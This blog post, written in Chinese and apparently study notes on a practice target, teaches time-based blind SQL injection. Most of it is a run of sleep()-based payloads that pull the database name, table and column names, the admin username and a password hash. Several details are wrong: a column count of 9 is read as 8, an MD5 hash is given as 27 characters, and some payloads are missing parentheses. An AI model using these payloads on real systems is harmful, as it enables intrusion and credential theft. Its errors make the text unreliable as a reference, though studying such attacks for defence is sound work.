2020-07-13 SQL盲注(延时注入)

思路:
*判断是否存在注入,注入是字符型还是数字型
*猜解当前数据库名
*猜解数据库表名
*猜解字段名
*猜解数据
1判断注入类型

payload result
1’ and sleep(5) # 延迟
1 and sleep(5)# 没有延迟
存在字符型注入
2猜解当前数据库名
2.1猜解数据库名的长度:

payload result
1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 延迟
说明数据库名长度为4个字符。
2.2采用二分法猜解数据库名:

payload result
1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1) # 延迟

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1) # 没有延迟
说明数据库的第一个字符为小写字母d(ASCII码:100)
重复上述步骤,就能猜解出数据库名。
3猜解数据库的表名
3.1先猜解数据库中表的数量:

payload result
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,sleep(5),1) # 没有延迟
1’ and if(select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1) # 延迟
说明数据库中有两个表。
3.2接着猜解表名:

payload result
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 延迟
说明第一个表名的长度为9个字符。
然后猜解表名:

payload result
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))>97,sleep(5),1) # 延迟
1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema= database() limit 0,1),1,1)))<100,sleep(5),1) # 没有延迟

1’ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=103,sleep(5),1) # 延迟
表名的第一个字符为g(ASCII码:103),照此方法依次猜出表名。
得出这两个表依次为:guestbook、users.
4由表名猜字段名
先猜字段数:

payload result
1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=1,sleep(5),1) # 没有延迟

1’ and if((select count(column_name) from information_schema.columns where table_name= “users”)=9,sleep(5),1) # 延迟
说明users表有8个字段。
猜字段名

payload result
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))>97, sleep(5),0) # 延迟
1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))<105, sleep(5),0) # 延迟

1’ and if((select ascii(substr((select column_name from information_schema.columns where table_name=”users” limit 0,1),1,1)))=117, sleep(5),0) # 延迟
依次类推可得表中所有字段名
敏感字段: user、password.
猜解user和password的值的长度
第一个用户名长

payload result
1’and if((select (length(substr((select user from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select user from users limit 0,1),1))=5) ,sleep(5),1) # 延迟
第一个用户名的password的md5字段长

payload result
1’and if((select (length(substr((select password from users limit 0,1),1))=1) ,sleep(5),1) # 没有延迟

1’and if((select (length(substr((select password from users limit 0,1),1))=27) ,sleep(5),1) # 延迟
第一个用户名:

payload result
1’ and if(select ascii(substr((select user from users limit 0,1),1,1))>97,sleep(5),1) # 没有延迟

1’ and if(select ascii(substr((select user from users limit 0,1),1,1))=97,sleep(5),1) # 延迟
依次猜解得第一个用户名为admin
第一个用户的密码

payload result
1’ and if(select ascii(substr((select password from users limit 0,1),1,1))>97,sleep(5),1) # 没有延时

1’ and if(select ascii(substr((select password from users limit 0,1),1,1))=53,sleep(5),1) # 延时
依次猜解密码的md5值:5f4dcc3b5aa765d61d8327deb882cf99

user password
admin 5f4dcc3b5aa765d61d8327deb882cf99
这样就可以猜解数据库中的数据。
语句:
select schema_name from information_schema.schemata (获取数据库名)
select table_name from information_schema.tables (获取表名)
select column_name from information_schemata.columns (获取所有列名)
函数:
sleep()函数
用法(语法):sleep(duration),其中duration的单位是秒。

ascii(string)
功能: 数据库字符集返回string的第一个字节的十进制表示。

substr(string,start [,length])
第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

count(column_name) 函数返回指定列的值的数目(NULL 不计入)。

limit [offset,] rows
offset是偏移量,表示我们现在需要的数据是跳过多少行数据之后的,可以忽略;
rows表示我们现在要拿多少行数据。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值